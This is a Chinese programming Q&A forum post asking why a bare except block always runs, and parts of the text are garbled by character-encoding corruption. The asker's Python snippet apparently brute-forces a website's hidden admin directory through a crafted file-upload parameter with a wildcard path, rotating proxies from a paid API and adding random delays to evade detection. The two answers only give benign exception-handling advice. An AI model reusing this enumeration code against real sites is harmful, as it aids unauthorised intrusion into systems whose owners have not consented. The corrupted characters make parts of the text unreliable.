鍍金池/ 問答/Python/ 關(guān)于python中except的問題

關(guān)于python中except的問題

當(dāng)代理可用時,繼續(xù)使用當(dāng)前代理。如果代理不可用,就在except里面再請求一次獲取proxy_url.
現(xiàn)在的問題是,即使當(dāng)前代理可用,except里面的代碼還是會執(zhí)行。。

def get_proxy():
    proxyapi = 'http://piping.mogumiao.com/proxy/api/get_ip_bs?appKey=93be1b258fbb4df5a298be6ba74dc5c4&count=1&expiryDate=0&format=1&newLine=2'
    req = requests.get(proxyapi)
    json_content = json.loads(req.content)['msg']
    for i in json_content:
        print json_content
        ip = i['ip']
        port = i['port']
        proxy_url = str("http://"+ip+":"+port)
    return proxy_url
proxies = get_proxy()
for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        time.sleep(random.randint(2,5))
        try:
            r = requests.post(url,data=data,proxies=proxies)
            if "Upload filetype not allow !" not in r.text and r.status_code == 200:
                flag = 1
                back_dir = pre
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
                break
            else:
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
        except:
            proxies = get_proxy()
回答
編輯回答
愛礙唉

這個的話只有一種解釋,也就是說,你try里面報的錯誤不只是代理不可用的錯誤。
一般來講我們建議python里面的except后面緊跟對應(yīng)報錯的類型,例如ValueError,而不是什么都不寫的獲取全局全部異常。
你可以嘗試只捕獲代理報錯的異常類型,然后看看中間是不是還發(fā)生了什么其他異常,再對應(yīng)解決

2018年1月5日 05:22
編輯回答
敢試
try:
    pass
except Exception as e:
    print(e)

看一下具體是什么報錯。

2017年10月22日 19:12